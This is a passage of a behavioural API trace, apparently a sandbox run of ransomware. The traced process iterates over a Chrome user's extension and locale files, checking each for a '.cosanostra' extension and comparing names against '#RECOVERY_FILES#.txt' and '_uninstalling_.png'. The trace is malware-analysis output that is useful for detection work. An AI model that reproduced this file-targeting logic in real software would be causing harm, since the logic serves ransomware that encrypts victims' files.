lpString2="_uninstalling_.png") returned 1 [0084.986] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json") returned 159 [0084.986] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.986] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.986] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.986] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json") returned 156 [0084.987] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.987] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.987] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.987] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json") returned 156 [0084.988] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.988] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.988] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.988] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json") returned 156 [0084.988] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.988] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.988] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.988] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json") returned 156 [0084.989] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.989] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.989] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.989] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 156 [0084.989] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.989] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.989] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.989] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 156 [0084.990] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.990] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.990] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.990] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 156 [0084.990] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.990] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.990] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.990] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json") returned 156 [0084.991] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.991] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.991] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.991] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 156 [0084.991] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.991] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.991] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.991] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 156 [0084.992] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.992] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.992] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.992] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 159 [0084.992] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.992] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.992] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.992] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 159 [0084.994] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0084.994] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.994] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0084.994] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 163 [0085.057] StrStrIW (lpFirst="128.png", lpSrch=".cosanostra") returned 0x0 [0085.057] lstrcmpW (lpString1="128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.057] lstrcmpW (lpString1="128.png", lpString2="_uninstalling_.png") returned 1 [0085.057] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 139 [0085.057] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0085.057] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.057] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0085.057] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 145 [0085.060] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.060] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.060] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.060] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 157 [0085.061] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.062] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 157 [0085.062] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.062] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 157 [0085.062] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.062] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.062] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json") returned 157 [0085.063] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.063] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.063] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.063] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json") returned 157 [0085.063] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.063] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.063] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.063] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json") returned 157 [0085.064] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.064] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.064] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.064] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json") returned 157 [0085.064] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.064] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.064] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.064] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json") returned 157 [0085.065] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.065] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.065] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.065] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json") returned 157 [0085.073] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.073] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.073] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.074] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json") returned 157 [0085.074] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.074] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.074] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.074] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json") returned 158 [0085.248] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.248] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.248] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.248] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json") returned 157 [0085.248] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.248] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.248] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.248] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 157 [0085.250] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.250] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.250] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.250] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 157 [0085.250] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.250] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.250] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.250] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 157 [0085.251] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.251] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.251] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.251] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 157 [0085.251] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.251] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.251] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.251] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\messages.json") returned 157 [0085.252] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.252] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.252] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.252] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 157 [0085.253] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.253] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.253] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.253] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 157 [0085.253] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.253] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.253] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.254] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 157 [0085.254] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.254] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.254] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.254] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 157 [0085.258] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.258] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.258] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.258] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lv\\messages.json") returned 157 [0085.258] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.258] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.258] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.258] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\nl\\messages.json") returned 157 [0085.259] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.259] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.259] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.259] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\no\\messages.json") returned 157 [0085.260] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.260] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.260] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.260] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 157 [0085.260] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.260] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.261] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 160 [0085.261] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.261] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.261] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 160 [0085.262] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.262] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.262] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.262] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 157 [0085.262] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.262] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.262] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.262] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 157 [0085.263] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.263] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.263] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.263] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sk\\messages.json") returned 157 [0085.263] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.263] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.263] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.263] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sl\\messages.json") returned 157 [0085.264] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.264] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.264] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.264] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sr\\messages.json") returned 157 [0085.264] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.264] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.264] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.264] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\sv\\messages.json") returned 157 [0085.265] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.265] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.265] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.265] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\th\\messages.json") returned 157 [0085.266] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.266] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.266] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.266] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json") returned 157 [0085.266] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.266] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.266] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.266] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 157 [0085.267] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.267] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.267] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.267] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 157 [0085.269] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.269] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0085.269] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0085.269] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 160 [0085.269] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0085.269] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 